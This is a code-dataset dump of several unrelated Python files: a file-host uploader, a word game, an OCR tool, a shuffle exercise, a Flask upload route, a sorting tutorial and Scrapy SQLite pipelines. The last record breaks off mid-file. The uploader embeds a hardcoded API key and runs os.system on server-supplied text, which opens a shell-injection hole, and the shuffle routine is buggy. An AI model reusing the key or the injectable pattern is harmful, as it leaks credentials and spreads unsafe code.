+{"seq_id":"167262587","text":"#!/Users/student/usr/local/bin/python3.6\n\nimport sys\nimport requests\nimport os\n\nkey = \"VDUIHNUQXDE1S0LZIN3JA6HMS3NE7DZ4\" # put your token here\n\ntry:\n  if not os.path.isfile(sys.argv[1]):\n    print('That file does not exist')\n    sys.exit()\nexcept IndexError:\n  print(\"Please provide a file to upload\")\n  sys.exit()\nfilename = sys.argv[1]\nfile = open(filename, \"rb\")\nr = requests.post(f'https://www.momsagainstdiscord.com/upload?key={key}', files={filename: file})\n\nif not r.ok:\n  if r.status_code == 413:\n    print('File too large')\n    sys.exit()\n  else:\n    print(r.text)\n    sys.exit()\nif not r.json()['success']:\n  print(r.json()['error'])\nelse:\n  print(r.json()['files']['url'])\n  if os.uname().sysname == \"Linux\":\n    os.system(f\"echo \\'http://plz-notice.me{r.json()['files']['url']}\\' | xclip -selection clipboard\")\n  elif os.uname().sysname == \"Darwin\":\n    os.system(f\"echo \\'http://plz-notice.me{r.json()['files']['url']}\\' | pbcopy\")\n","sub_path":"upload.py","file_name":"upload.py","file_ext":"py","file_size_in_byte":945,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"}
+{"seq_id":"641236584","text":"import random\nWORDS=(\"asia\",\"europe\",\"us\")\n#word=WORDS[random.randrange(len(WORDS))]\nword=random.choice(WORDS)\nanswer=word\njumble=\"\"\n#print(word)\nwhile word:\n    position=random.randrange(len(word))\n    jumble+=word[position]\n    word=word[:position]+word[(position+1):]\n\n#main\nprint(\"\"\"\nwelcome to word jumble\nunscramble the letters to make the right word\n(enter quit to exit game)\n\"\"\")\nprint(\"the jumble word is:\", jumble)\n\nguess=input(\"\\nEnter your guess: \")\nwhile guess!=answer and guess !=\"quit\":\n    print(\"Sorry, Guess again:\")\n    guess=input(\"Enter your guess: \")\n\nif guess==answer:\n    print(\"Thats right!! you got it! \")\n\nprint(\"Thanks for playing\")","sub_path":"test1.py","file_name":"test1.py","file_ext":"py","file_size_in_byte":660,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"}
+{"seq_id":"150505055","text":"'''Handprint: HANDwritten Page RecognitIoN Test for Caltech Archives.\n\nThis project uses alternative optical character recognition (OCR) and\nhandwritten text recognition (HTR) methods on documents from the Caltech\nArchives (http://archives.caltech.edu).  Tests include the use of Google's\nOCR capabilities in their Google Cloud Vision API\n(https://cloud.google.com/vision/docs/ocr), Microsoft's Azure, and others.\n\nAuthors\n-------\n\nMichael Hucka <mhucka@caltech.edu> -- Caltech Library\n\nCopyright\n---------\n\nCopyright (c) 2018 by the California Institute of Technology.  This code is\nopen-source software released under a 3-clause BSD license.  Please see the\nfile \"LICENSE\" for more information.\n'''\n\nfrom   halo import Halo\nimport json\nimport os\nfrom   os import path\nimport plac\nimport requests\nimport sys\nfrom   sys import exit as exit\ntry:\n    from termcolor import colored\nexcept:\n    pass\nimport time\nimport traceback\nfrom   urllib import request\n\nimport handprint\nfrom handprint.constants import ON_WINDOWS, ACCEPTED_FORMATS, KNOWN_METHODS\nfrom handprint.constants import FORMATS_MUST_CONVERT\nfrom handprint.messages import msg, color, MessageHandlerCLI\nfrom handprint.progress import ProgressIndicator\nfrom handprint.network import network_available, download_url\nfrom handprint.files import files_in_directory, replace_extension, handprint_path\nfrom handprint.files import readable, writable, filename_extension, convert_image\nfrom handprint.htr import GoogleHTR\nfrom handprint.htr import MicrosoftHTR\nfrom handprint.exceptions import *\nfrom handprint.debug import set_debug, log\n\n# Main program.\n# ......................................................................\n\n@plac.annotations(\n    creds_dir  = ('look for credentials files in directory \"D\"',     'option', 'c'),\n    from_file  = ('read file names or URLs from file \"F\"',           'option', 'f'),\n    list       = ('print list of known methods',                     'flag',   'l'),\n    method     = ('use method \"M\" (default: \"all\")',                 'option', 'm'),\n    output     = ('write output to directory \"O\"',                   'option', 'o'),\n    root_name  = ('name downloaded images using root file name \"R\"', 'option', 'r'),\n    given_urls = ('assume have URLs, not files (default: files)',    'flag',   'u'),\n    quiet      = ('do not print info messages while working',        'flag',   'q'),\n    no_color   = ('do not color-code terminal output',               'flag',   'C'),\n    debug      = ('turn on debugging (console only)',                'flag',   'D'),\n    version    = ('print version info and exit',                     'flag',   'V'),\n    images     = 'if given -u, URLs, else directories and/or files',\n)\n\ndef main(creds_dir = 'D', from_file = 'F', list = False, method = 'M',\n         output = 'O', given_urls = False, root_name = 'R', quiet = False,\n         no_color = False, debug = False, version = False, *images):\n    '''Handprint (a loose acronym of \"HANDwritten Page RecognitIoN Test\") can\nrun alternative optical character recognition (OCR) and handwritten text\nrecognition (HTR) methods on images of document pages.\n\nIf given the command-line flag -l (or /l on Windows), Handprint will print a\nlist of the known methods and then exit.  The option -m (/m on Windows) can\nbe used to select a specific method.  (The default method is to run them all.)\n\nWhen invoked, the command-line arguments should contain one of the following:\n\n a) one or more directory paths or one or more image file paths, which will\n    be interpreted as images (either individually or in directories) to be\n    processed;\n\n b) if given the -u option (/u on Windows), one or more URLs, which will be\n    interpreted as network locations of image files to be processed;\n\n c) if given the -f option (/f on Windows), a file containing either image\n    paths or (if combined with the -u option), image URLs\n\nIf given URLs (via the -u option), Handprint will first download the images\nfound at the URLs to a local directory indicated by the option -o (/o on\nWindows).  Handprint will send each image file to OCR/HTR services from\nGoogle, Microsoft and others.  It will write the results to new files placed\neither in the same directories as the original files, or (if given the -o\noption) to the directory indicated by the -o option value (/o on Windows).\nThe results will be written in files named after the original files with the\naddition of a string that indicates the service used.  For example, a file\nnamed \"somefile.jpg\" will produce\n\n  somefile.jpg\n  somefile.google.txt\n  somefile.google.json\n  somefile.microsoft.txt\n  somefile.microsoft.json\n  somefile.amazon.txt\n  somefile.amazon.json\n  ...\n\nand so on for each image and each service used.  The .txt files will contain\nthe text extracted (if any).  The .json files will contain the complete\nresponse from the service, converted to JSON by Handprint.  In some cases,\nsuch as Google's API, the service may offer multiple operations and will\nreturn individual results for different API calls or options; in those cases,\nHandprint combines the results of multiple API calls into a single JSON\nobject.\n\nNote that if -u (/u on Windows) is given, then an output directory MUST also\nbe specified using the option -o (/o on Windows) because it is not possible\nto write the results in the network locations represented by the URLs.  Also,\nwhen -u is used, the images and text results will be stored in files whose\nroot names have the form \"document-N\", where \"N\" is an integer.  The root\nname can be changed using the -r option (/r on Windows).  The image will be\nconverted to ordinary JPEG format for maximum compatibility with the\ndifferent OCR services and written to \"document-N.jpg\", and the URL\ncorresponding to each document will be written in a file named\n\"document-N.url\" so that it is possible to connect each \"document-N.jpg\" to\nthe URL it came from.\n\nCredentials for different services need to be provided to Handprint in the\nform of JSON files.  Each service needs a separate JSON file named after the\nservice (e.g., \"microsoft_credentials.json\") and placed in a directory that\nHandprint searches.  By default, Handprint searches for the files in a\nsubdirectory named \"creds\" where Handprint is installed, but an alternative\ndirectory can be indicated at run-time using the -c command-line option (/c\non Windows).  The specific format of each credentials file is different for\neach service; please consult the Handprint documentation for more details.\n\nIf given the -q option (/q on Windows), Handprint will not print its usual\ninformational messages while it is working.  It will only print messages\nfor warnings or errors.\n\nIf given the -V option (/V on Windows), this program will print version\ninformation and exit without doing anything else.\n\n    '''\n\n    # Prepare notification methods and hints.\n    say = MessageHandlerCLI(not no_color, quiet)\n    prefix = '/' if ON_WINDOWS else '-'\n    hint = '(Hint: use {}h for help.)'.format(prefix)\n\n    # Process arguments.\n    if debug:\n        set_debug(True)\n    if version:\n        print_version()\n        exit()\n    if list:\n        say.info('Known methods:')\n        for key in KNOWN_METHODS.keys():\n            say.info('   {}'.format(key))\n        exit()\n    if not network_available():\n        exit(say.fatal_text('No network.'))\n\n    if from_file == 'F':\n        from_file = None\n    else:\n        if not path.isabs(from_file):\n            from_file = path.realpath(path.join(os.getcwd(), from_file))\n        if not path.exists(from_file):\n            exit(say.error_text('File not found: {}'.format(from_file)))\n        if not readable(from_file):\n            exit(say.error_text('File not readable: {}'.format(from_file)))\n\n    if creds_dir == 'D':\n        creds_dir = path.join(handprint_path(), 'creds')\n    if not readable(creds_dir):\n        exit(say.error_text('Directory not readable: {}'.format(creds_dir)))\n    else:\n        if __debug__: log('Assuming credentials found in \"{}\".', creds_dir)\n\n    if method == 'M':\n        method = 'all'\n    method = method.lower()\n    if method != 'all' and method not in KNOWN_METHODS:\n        exit(say.error_text('\"{}\" is not a known method. {}'.format(method, hint)))\n\n    if not images and not from_file:\n        exit(say.error_text('Need provide images or URLs. {}'.format(hint)))\n    if any(item.startswith('-') for item in images):\n        exit(say.error_text('Unrecognized option in arguments. {}'.format(hint)))\n\n    if output == 'O':\n        output = None\n    else:\n        if not path.isabs(output):\n            output = path.realpath(path.join(os.getcwd(), output))\n        if path.isdir(output):\n            if not writable(output):\n                exit(say.error_text('Directory not writable: {}'.format(output)))\n        else:\n            os.mkdir(output)\n            if __debug__: log('Created output directory \"{}\"', output)\n    if given_urls and not output:\n        exit(say.error_text('Must provide an output directory if using URLs.'))\n    if root_name != 'R' and not given_urls:\n        exit(say.error_text('Option {}r can only be used with URLs.'.format(prefix)))\n    if root_name == 'R':\n        root_name = 'document'\n\n    # Create a list of files to be processed.\n    targets = targets_from_arguments(images, from_file, given_urls, say)\n    if not targets:\n        exit(say.warn_text('No images to process; quitting.'))\n\n    # Let's do this thing.\n    try:\n        if method == 'all':\n            say.info('Applying all methods in succession.')\n            for m in KNOWN_METHODS.values():\n                if not say.be_quiet():\n                    say.msg('='*70, 'dark')\n                run(m, targets, given_urls, output, root_name, creds_dir, say)\n            if not say.be_quiet():\n                say.msg('='*70, 'dark')\n        else:\n            m = KNOWN_METHODS[method]\n            run(m, targets, given_urls, output, root_name, creds_dir, say)\n    except (KeyboardInterrupt, UserCancelled) as err:\n        exit(say.info_text('Quitting.'))\n    except ServiceFailure as err:\n        exit(say.error_text(str(err)))\n    except Exception as err:\n        if debug:\n            import pdb; pdb.set_trace()\n        exit(say.error_text('{}\\n{}'.format(str(err), traceback.format_exc())))\n    say.info('Done.')\n\n\n# If this is windows, we want the command-line args to use slash intead\n# of hyphen.\n\nif ON_WINDOWS:\n    main.prefix_chars = '/'\n\n\f\n# Helper functions.\n# ......................................................................\n\ndef run(method_class, targets, given_urls, output_dir, root_name, creds_dir, say):\n    spinner = ProgressIndicator(say.use_color(), say.be_quiet())\n    try:\n        tool = method_class()\n        tool_name = tool.name()\n        say.info('Using method \"{}\".'.format(tool_name))\n        tool.init_credentials(creds_dir)\n        for index, item in enumerate(targets, 1):\n            if not given_urls and (item.startswith('http') or item.startswith('ftp')):\n                say.warn('Skipping URL \"{}\"'.format(item))\n                continue\n            if say.use_color() and not say.be_quiet():\n                action = 'Downloading' if given_urls else 'Reading'\n                spinner.start('{} {}'.format(action, item))\n            fmt = None\n            if given_urls:\n                # Make sure the URLs point to images.\n                response = request.urlopen(item)\n                if response.headers.get_content_maintype() != 'image':\n                    spinner.fail('Did not find an image at \"{}\"'.format(item))\n                    continue\n                fmt = response.headers.get_content_subtype()\n                if fmt not in ACCEPTED_FORMATS:\n                    spinner.fail('Cannot use image format {} in \"{}\"'.format(fmt, item))\n                    continue\n                # If we're given URLs, we have to invent file names to store\n                # the images and the OCR results.\n                base = '{}-{}'.format(root_name, index)\n                url_file = path.realpath(path.join(output_dir, base + '.url'))\n                if __debug__: log('Writing URL to {}', url_file)\n                with open(url_file, 'w') as f:\n                    f.write(url_file_content(item))\n                file = path.realpath(path.join(output_dir, base + '.' + fmt))\n                if __debug__: log('Starting wget on {}', item)\n                (success, error) = download_url(item, file)\n                if not success:\n                    spinner.fail('Failed to download {}: {}'.format(item, error))\n                    continue\n            else:\n                file = path.realpath(path.join(os.getcwd(), item))\n                fmt = filename_extension(file)\n            if output_dir:\n                dest_dir = output_dir\n            else:\n                dest_dir = path.dirname(file)\n                if not writable(dest_dir):\n                    say.fatal('Cannot write output in \"{}\".'.format(dest_dir))\n                    return\n            if fmt in FORMATS_MUST_CONVERT:\n                spinner.update('Converting file format to JPEG: \"{}\"'.format(file))\n                (success, converted_file, msg) = convert_image(file, fmt, 'jpeg')\n                if not success:\n                    spinner.fail('Failed to convert \"{}\": {}'.format(file, msg))\n                # Note: 'file' now points to the converted file, not the original\n                file = converted_file\n            file_name = path.basename(file)\n            base_path = path.join(dest_dir, file_name)\n            txt_file  = replace_extension(base_path, '.' + tool_name + '.txt')\n            json_file = replace_extension(base_path, '.' + tool_name + '.json')\n            spinner.update('Sending to {} for text extraction'.format(tool_name))\n            save_output(tool.document_text(file), txt_file)\n            spinner.update('Text from {} saved in {}'.format(tool_name, txt_file))\n            spinner.update('All data from {} saved in {}'.format(tool_name, json_file))\n            save_output(json.dumps(tool.all_results(file)), json_file)\n            if say.use_color() and not say.be_quiet():\n                short_path = path.relpath(txt_file, os.getcwd())\n                spinner.stop('{} -> {}'.format(item, short_path))\n    except (KeyboardInterrupt, UserCancelled) as err:\n        if spinner:\n            spinner.stop()\n        raise\n    except Exception as err:\n        if spinner:\n            spinner.fail(say.error_text('Stopping due to a problem'))\n        raise\n\n\ndef targets_from_arguments(images, from_file, given_urls, say):\n    targets = []\n    if from_file:\n        with open(from_file) as f:\n            targets = f.readlines()\n        targets = [line.rstrip('\\n') for line in targets]\n        if __debug__: log('Read {} lines from \"{}\".', len(targets), from_file)\n        if not given_urls:\n            targets = filter_urls(targets, say)\n    elif given_urls:\n        # We assume that the arguments are URLs and take them as-is.\n        targets = images\n    else:\n        # We were given files and/or directories.  Look for image files.\n        for item in filter_urls(images, say):\n            if path.isfile(item) and filename_extension(item) in ACCEPTED_FORMATS:\n                targets.append(item)\n            elif path.isdir(item):\n                targets += files_in_directory(item, extensions = ACCEPTED_FORMATS)\n            else:\n                say.warn('\"{}\" not a file or directory'.format(item))\n    return targets\n\n\ndef filter_urls(item_list, say):\n    results = []\n    for item in item_list:\n        if item.startswith('http') or item.startswith('ftp'):\n            say.warn('Unexpected URL: \"{}\"'.format(item))\n            continue\n        else:\n            results.append(item)\n    return results\n\n\ndef url_file_content(url):\n    return '[InternetShortcut]\\nURL={}\\n'.format(url)\n\n\ndef print_version():\n    print('{} version {}'.format(handprint.__title__, handprint.__version__))\n    print('Author: {}'.format(handprint.__author__))\n    print('URL: {}'.format(handprint.__url__))\n    print('License: {}'.format(handprint.__license__))\n\n\ndef save_output(text, file):\n    with open(file, 'w') as f:\n        f.write(text)\n\n# init_halo_hack() is mostly a guess at a way to keep the first part of the\n# spinner printed by Halo from overwriting part of the first message we\n# print.  It seems to work, but the problem that this tries to solve occurred\n# sporadically anyway, so maybe the issue still remains and I just haven't\n# seen it happen again.\n\ndef init_halo_hack():\n\n    '''Write a blank to prevent occasional garbled first line printed by\n    Halo.'''\n    sys.stdout.write('')\n    sys.stdout.flush()\n    time.sleep(0.1)\n\n\f\n# Main entry point.\n# ......................................................................\n# The following allows users to invoke this using \"python3 -m handprint\".\n\nif __name__ == '__main__':\n    plac.call(main)\n\n\f\n# For Emacs users\n# ......................................................................\n# Local Variables:\n# mode: python\n# python-indent-offset: 4\n# End:\n","sub_path":"handprint/__main__.py","file_name":"__main__.py","file_ext":"py","file_size_in_byte":17059,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"}
+{"seq_id":"209631836","text":"from random import random #import the random function\n\n\ndef shuffle(L):\n    \"\"\"\n    This function uses Durstenfeld algorithm to shuffle the list L\n    \"\"\"\n    n = len(L)\n    for i in L:\n        d = L.index(i)\n        \n    for i in range(d):\n        n = n - 1\n        x = int(random() * d) - n\n        L[d], L[x] = L[x], L[d] #exchange\n    #print(L)\n    return L\n#print(shuffle([\"alpha\",\"beta\",\"gamma\",\"delta\",\"epsilon\",\"zeta\",\"eta\",\"theta\",\"iota\",\"kappa\",\"lambda\",\"mu\"])) #test shuffle function\n        \ndef check_shuffle(L, shuffled_L):\n    \"\"\"\n    This function checks if the shuffled list meets the requirement. \n    The first argument is the original list while the second is the shuffled list.\n    \"\"\"\n    assert len(shuffled_L) == len(L), \"Length of shuffled list and original list are not the same\"\n    for i in L:\n        assert i in shuffled_L, \"Elements in original list not in Shuffled list\"\n\ndef quality(shuffled_L):\n    \"\"\"\n    This function checks the quality of the shuffling of the list.\n    \"\"\"\n    greater_than_previous = []\n    v = 0\n    \n    for i in range(len(shuffled_L) - 1):\n        v = i + 1\n        if shuffled_L[v] > shuffled_L[i]:\n            greater_than_previous.append(shuffled_L[v])\n    \n    quality_no = len(greater_than_previous)/len(shuffled_L)\n    return quality_no\n                    \ndef average_quality(L, trials):\n    \"\"\"\n    This function checks the average quality over a given number of trials of a given list \n    \"\"\"\n    av_quality = []\n    qua = 0\n    \n    \n    for i in range(trials): #this loop will do our shuffle and quality function for a given number of trials\n        s = L.copy() #make a copy of the original list\n        shuffle(s)\n        q = quality(s)\n        av_quality.append(q)\n           \n    for x in range(len(av_quality)): #this for loop calculates the average quality\n        qua = av_quality[x] + qua\n    average_q = qua/len(av_quality)\n    print('this is the average quality: ', average_q)\naverage_quality(list(range(100)), 1000)\n    \n    \n    \n        \n\n        ","sub_path":"shuffle.py","file_name":"shuffle.py","file_ext":"py","file_size_in_byte":2032,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"}
+{"seq_id":"400375311","text":"# -*- coding: utf-8 -*-\nimport os\nimport mimetypes\nfrom tempfile import mktemp\nfrom werkzeug.utils import secure_filename\nfrom flask import Flask, request, render_template, redirect, url_for\n \napp = Flask(__name__)\n \nUPLOAD_FOLDER = 'static/Uploads'\nALLOWED_MIMETYPES = {'image/jpeg', 'image/png', 'image/gif'}\n \n@app.route('/upload', methods=['GET', 'POST'])\ndef upload():\n    if request.method == 'GET':\n        return render_template('upload.html', img='')\n    elif request.method == 'POST':\n        f = request.files['file']\n        fname = mktemp(suffix='_', prefix='u', dir=UPLOAD_FOLDER) + secure_filename(f.filename)\n        f.save(fname)\n        if mimetypes.guess_type(fname)[0] in ALLOWED_MIMETYPES:\n            return render_template('upload.html', img=fname)\n        else:\n            os.remove(fname)\n            return redirect(url_for('upload'), 302)\n \n@app.route('/')\ndef index():\n    return redirect(url_for('upload'), 302)\n \nif __name__ == '__main__':\n    app.run(debug=True)","sub_path":"mvp/upload.py","file_name":"upload.py","file_ext":"py","file_size_in_byte":994,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"}
+{"seq_id":"496496108","text":"# -*- coding: utf-8 -*-\n# File: pyScript27_SortingIntro.py\n\n\"\"\"\n# CS 5010\n# Learning Python (Python version: 3)\n# Topics:\n#   - Brief introduction to soring in Python (using built in functions)\n\"\"\"\n\n\"\"\"\nSorting a Simple List\n\"\"\"\nsimpleList = [3,7,22,8,14,55,1,23,45,9]\n# Sorting in ascending order\n# Can use built in function sorted that doesn't modify the original list,\n#   and returns a new sorted list\nnewLst = sorted(simpleList)\nprint(newLst)       # [1, 3, 7, 8, 9, 14, 22, 23, 45, 55]\nprint(simpleList)   # [3, 7, 22, 8, 14, 55, 1, 23, 45, 9]\n# For in-place sorting call \"sort\"\nsimpleList.sort()\nprint(simpleList)   # [1, 3, 7, 8, 9, 14, 22, 23, 45, 55]\nprint(\">>>.....................<<<\\n\")\n\n#%%\n\n# Descending order? Sure!\nsimpleList = [3,7,22,8,14,55,1,23,45,9]\nprint(sorted(simpleList, reverse=True))  # [55, 45, 23, 22, 14, 9, 8, 7, 3, 1]\nsimpleList.sort(reverse=True)\nprint(simpleList)   # [55, 45, 23, 22, 14, 9, 8, 7, 3, 1]\nprint(\">>>.....................<<<\\n\")\n# What is going on?  Well, behind the scenes Python is calling a \n# version of *mergesort* on the list. \n\n#%%\n\n\"\"\"\nSorting a Simple Tuple\n\"\"\"\n# Important note:\n# Tuples must always use the \"sorted\" function to return a sorted * list *\n# You cannot modify tuples, so there isn't an in-place sort function.\nsimpleTup = (2,6,9,22,1,45,16,34)\nsortedTup = sorted(simpleTup)\nprint(sortedTup)    # [1, 2, 6, 9, 16, 22, 34, 45]\nprint(\">>>.....................<<<\\n\")\n\n#%%\n\"\"\"\nSorting a List of Tuples or Lists of Lists\n\"\"\"\n# The sorted function takes in a keyword argument called \"key\"\n# Key provides a way to specify a function and returns what you would like\n# your items sorted by.\n\n# Sorting List of Tuples \nq = \"Are you suggesting coconuts migrate\" # Fun quote from Monty Python\nprint(q)\nwordslist =  q.split(' ') # split by the ' ' delimiter. Result: a list!\nwlen = [(word, len(word)) for word in wordslist]\n# \"wlen\" is a list of tuples (word, word length) at index positions 0 and 1\nwlen_sorted = sorted(wlen, key=lambda wlen: wlen[1]) # sort by length\n# using the method \"sorted\" on wlen, sorting elements by length\nprint(wlen_sorted)\n# *** The above could also be achieved in the following way (w/out using lambda) ***\n# def getKey(item):\n#     return item[1]\n# sorted(wlen, key=getKey)\nprint(\">>>.....................<<<\\n\")\n\n#%%\n\n# Sorting List of Lists\ndef getKey(item):\n    return item[0]\n\n\nlst = [[2, 3], [6, 7], [7, 14], [25, 15], [35, 8], [1, 44]]\nsortedLst = sorted(lst, key=getKey) # sort by the FIRST item in the sub-list\nprint(sortedLst)    # [[1, 44], [2, 3], [6, 7], [7, 14], [25, 15], [35, 8]]\n\n#%%\n\n# Sorting by the SECOND item in each sub-list is a simple matter of\n# changing what the function returns, as follows:\ndef getKey2(item):\n\treturn item[1]\nlst = [[2, 3], [6, 7], [7, 14], [25, 15], [35, 8], [1, 44]]\nsortedLst2 = sorted(lst, key=getKey2) # sort by the SECOND item in the sub-list\nprint(sortedLst2)  \nprint(\">>>.....................<<<\\n\")\n#%%\n\n\"\"\"\nSorting a List (or Tuple) of Custom Python Objects\n\"\"\"\n# Let's create a class:\nclass Pet():\n    def __init__(self, name, age): # Constructor\n        self.name = name\n        self.age = age\n    \n    # Tells Python how we want the object to be represented\n    # In this case, we tell Python to represent an object of type Pet\n    # by it's class name, name, and age\n    def __repr__(self): \n        return '{}: {} {}'.format(self.__class__.__name__,self.name, self.age)\n        # Tells the interpreter how to display the object when it is printed\n        \n# Create some 'Pet' objects:\ng = Pet('Ginger', 5)\nf = Pet('Fido', 12)\nt = Pet('Tiger', 9)\ns = Pet('Sparky', 8)\n\n# Example of __repr__ being called:\nprint(t)\n\n# Make a list of these Pet objects, so that we can sort them:\npetLst = [g,f,t,s]\n\n# Print out the Pet list\nprint(petLst)  # [Pet: Ginger 5, Pet: Fido 12, Pet: Tiger 9, Pet: Sparky 8]\n\n# Sort by age:\ndef getPetKey(aPet):\n    return aPet.age\n\nsortedPetLst = sorted(petLst, key=getPetKey)\nprint(\"Sorted pet list (by age): \\n\" + str(sortedPetLst))\n# [Pet: Ginger 5, Pet: Sparky 8, Pet: Tiger 9, Pet: Fido 12]\n","sub_path":"Module04/pyScript27_SortingIntro.py","file_name":"pyScript27_SortingIntro.py","file_ext":"py","file_size_in_byte":4071,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"}
+{"seq_id":"378101708","text":"import os\n\nimport pandas as pd\n\n\ndef get_form_counts(df, form):\n    return df[df['form'] == form].shape[0]\n\n\nif __name__ == '__main__':\n    base_dir = os.path.expanduser('~/acronyms/expansion_etl/data/derived/')\n    df = pd.read_csv(os.path.join(base_dir, 'all_prototype_contexts.csv'))\n    acronyms = pd.read_csv(os.path.join(base_dir, 'prototype_acronym_expansions.csv'))\n\n    sf_counts = []\n    lf_counts = []\n    sf_counts_map = {}\n    for idx, row in acronyms.iterrows():\n        row = row.to_dict()\n        sf = row['sf']\n        lf = row['lf']\n        if sf not in sf_counts_map:\n            sf_counts_map[sf] = get_form_counts(df, sf)\n        sf_counts.append(sf_counts_map[sf])\n        lf_counts.append(get_form_counts(df, lf))\n    acronyms['sf_count'] = sf_counts\n    acronyms['lf_count'] = lf_counts\n    acronyms.to_csv(os.path.join(base_dir, 'prototype_acronym_expansions_w_counts.csv'), index=False)\n","sub_path":"expansion_etl/context_extraction/add_counts_to_prototype.py","file_name":"add_counts_to_prototype.py","file_ext":"py","file_size_in_byte":913,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"}
+{"seq_id":"164344500","text":"# -*- coding: utf-8 -*-\n\n# Define your item pipelines here\n#\n# Don't forget to add your pipeline to the ITEM_PIPELINES setting\n# See: http://doc.scrapy.org/en/latest/topics/item-pipeline.html\n\nimport sqlite3 as lite\ntry:\n    from HTMLParser import HTMLParser\nexcept:\n    from html.parser import HTMLParser\nimport functools\nimport logging\n\n\ncon = None # this is the db connection object. \n\nclass ContentmanagementPipeline(object):\n    \"\"\" Store catalog info into three tables within Contentmanagement.db\n\n        Three tables are Industry, Category, Classify,respectively\n        Industry stands for 35 separate industries-(level 1)\n        Category stands for around 1400 separate categories-(level 2)\n        Classify stands for around 6000 separate classifications-(level 3) \n\n    \"\"\"\n\n    def __init__(self):\n        self.setupDBcon()\n        self.createTable()\n\n    def check_spider_pipeline(process_item_method):\n        \"\"\"decorator to check the pipeline attribute of spider, for\n         whether or not it should be executed\n         \"\"\"\n        @functools.wraps(process_item_method)\n        def wrapper(self, item, spider):\n\n            # message template for debugging\n            msg = '%%s %s pipeline step' % (self.__class__.__name__,)\n\n            # if class is in the spider's pipeline, then use the\n            # process_item method normally.\n            if self.__class__ in spider._pipelines:\n                logging.info(msg % 'executing')\n                return process_item_method(self, item, spider)\n\n            # otherwise, just return the untouched item (skip this step in\n            # the pipeline)\n            else:\n                logging.info(msg % 'skipping')\n                return item\n\n        return wrapper\n\n    @check_spider_pipeline\n    def process_item(self, item, spider):\n        self.storeInDB(item)\n        return item\n\n    def storeInDB(self,item):\n        # We store industryInfo into corresponding table, then fetch the sequence column\n        # standed by 'industryranking' as industryID( because when in multithread cases,\n        # the item is not fetched by normal sequence)\n        # item['categoryMemeber'] is a list as folllowing structure\n        #    [category1, category2, categoy3, ...]\n        # catesel['classifyMember'] that also is category['classifyMember'] is a list as folllowing\n        #    [classify1, classify2, classify3, ...]\n\n        self.storeIndustryInfoInDb(item)\n        industryID = item['industryranking']          # lastrowid doesn't work here\n        for catesel in item['categoryMember']:       \n            self.storeCategoryInfoInDb(catesel,industryID)\n            categoryID = catesel['categoryranking']\n            for classifysel in catesel['classifyMember']:\n                self.storeClassifyInfoInDb(classifysel,industryID,categoryID)\n\n    def setupDBcon(self):\n        self.con_catalog = lite.connect('Contentmanagement.db')\n        self.cur = self.con_catalog.cursor()\n\n    def createTable(self):\n        \"\"\"create three level tables\"\"\"\n        self.createIndustryTable()\n        self.createCategoryTable()\n        self.createClassifyTable()\n\n    def createIndustryTable(self):\n        self.cur.execute('''DROP TABLE IF EXISTS Industry''')\n        self.cur.execute('''CREATE TABLE IF NOT EXISTS Industry( id INTEGER PRIMARY KEY NOT NULL,\\\n            industryName TEXT,\\\n            industryurl TEXT,\\\n            industryranking INTEGER,\\\n            industrytotal INTEGER\\\n            )''')\n        \n    def createCategoryTable(self):\n        self.cur.execute('''DROP TABLE IF EXISTS Category''')\n        self.cur.execute('''CREATE TABLE IF NOT EXISTS Category( id INTEGER PRIMARY KEY NOT NULL,\\\n            industryID INTEGER NOT NULL,\\\n            categoryName TEXT,\\\n            categoryurl TEXT,\\\n            categoryranking INTEGER,\\\n            categorytotal INTEGER\\\n            )''')\n\n    def createClassifyTable(self):\n        self.cur.execute('''DROP TABLE IF EXISTS Classify''')\n        self.cur.execute('''CREATE TABLE IF NOT EXISTS Classify( id INTEGER PRIMARY KEY NOT NULL,\\\n            industryID INTEGER NOT NULL,\\\n            categoryID INTEGER NOT NULL,\\\n            classifyName TEXT,\\\n            classifyurl TEXT,\\\n            classifyranking INTEGER,\\\n            classifytotal INTEGER\\\n            )''')\n\n    def storeIndustryInfoInDb(self, item):\n        \"\"\"Store 35 industry information to Industry table( first level) \"\"\"\n        self.cur.execute(\"INSERT INTO Industry(\\\n            industryName, \\\n            industryurl, \\\n            industryranking,\\\n            industrytotal\\\n            ) \\\n        VALUES( ?, ?, ?,?)\", \\\n        ( \\\n            item.get('industryName', ''), \n            item.get('industryurl', ''), \n            item.get('industryranking'),\n            item.get('industrytotal') \n        ))\n        self.con_catalog.commit()  \n\n    def storeCategoryInfoInDb(self,item,industryID):\n        \"\"\"Store thousand of Category info to Category table( second level)\"\"\"\n        self.cur.execute(\"INSERT INTO Category(\\\n            industryID,\\\n            categoryName, \\\n            categoryurl, \\\n            categoryranking,\\\n            categorytotal\\\n            ) \\\n        VALUES( ?, ?, ?,?,?)\", \\\n        (\\\n            industryID,\n            item.get('categoryName', ''), \n            item.get('categoryurl', ''), \n            item.get('categoryranking'),\n            item.get('categorytotal') \n        ))\n        self.con_catalog.commit()  \n\n    def storeClassifyInfoInDb(self, item,industryID,categoryID):\n        \"\"\"Store thousand of Classify info to Classify table( third level)\"\"\"\n        self.cur.execute(\"INSERT INTO Classify(\\\n            industryID,\\\n            categoryID,\\\n            classifyName, \\\n            classifyurl, \\\n            classifyranking,\\\n            classifytotal\\\n            ) \\\n        VALUES( ?, ?, ?,?,?,?)\", \\\n        ( \\\n            industryID,\n            categoryID,\n            item.get('classifyName', ''),\n            item.get('classifyurl', ''), \n            item.get('classifyranking'),\n            item.get('classifytotal')\n        ))\n        self.con_catalog.commit() \n\n    def __del__(self):\n        self.closeDB()\n\n    def closeDB(self):\n        self.con_catalog.close()\n\n\n\nclass YellowpagePipeline(object):\n\n    def __init__(self):\n        self.setupDBcon()\n        self.createTable()\n\n    def process_item(self, item, spider):\n        self.storeCompanyInDb(item)\n        return item\n\n    def setupDBcon(self):  \n        \"\"\"connect bjYellowpages database and setup cursor \"\"\"\n        self.con = lite.connect('bjYellowpages.db')\n        self.cur = self.con.cursor()\n\n    def createTable(self): \n        \"\"\"create Company table\"\"\"\n        self.cur.execute('''DROP TABLE IF EXISTS Company''')\n        self.cur.execute('''CREATE TABLE IF 